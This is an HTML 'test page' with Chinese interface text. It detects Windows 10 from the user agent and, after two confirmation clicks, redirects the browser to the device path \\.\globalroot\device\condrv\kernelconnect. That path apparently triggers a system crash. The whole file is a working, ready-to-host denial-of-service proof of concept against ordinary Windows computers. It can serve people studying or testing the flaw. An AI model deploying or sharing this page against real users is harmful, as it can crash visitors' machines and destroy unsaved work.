<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <title>测试页面</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            -webkit-touch-callout: none;
            -webkit-user-select: none;
            -khtml-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }

        html,
        body {
            font-family: "Microsoft YaHei", "Heiti SC", tahoma, arial, "Hiragino Sans GB", "\5B8B\4F53", sans-serif;
            width: 100%;
            height: 100%;
        }

        .container {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            width: 100%;
            height: 100%;
        }

        .label {
            padding: 12px 0px;
            font-size: x-large;
        }

        .label:hover {
            cursor: pointer;
        }
    </style>
</head>

<body>
    <div class="container">
        <span class="label" id="label">此测试仅在 Windows 10 系统下生效</span>
        <span class="label" id="warning_ok" style="display: none;">⚠️确认⚠️</span>
    </div>
    <script type="text/javascript">
        if (navigator.userAgent.includes('Windows NT 10.0')) {
            let label = document.getElementById('label')
            label.textContent = '当前为 Windows 10 系统, 单击此处开始测试'
            label.addEventListener('click', function () {
                this.textContent = '⚠️警告: 确认要执行此测试吗?⚠️'
                let warningOk = document.getElementById('warning_ok')
                warningOk.style.display = 'block'
                warningOk.addEventListener('click', () => {
                    window.location.href = '\\\\.\\globalroot\\device\\condrv\\kernelconnect'
                })
            })
        }
    </script>
</body>

</html>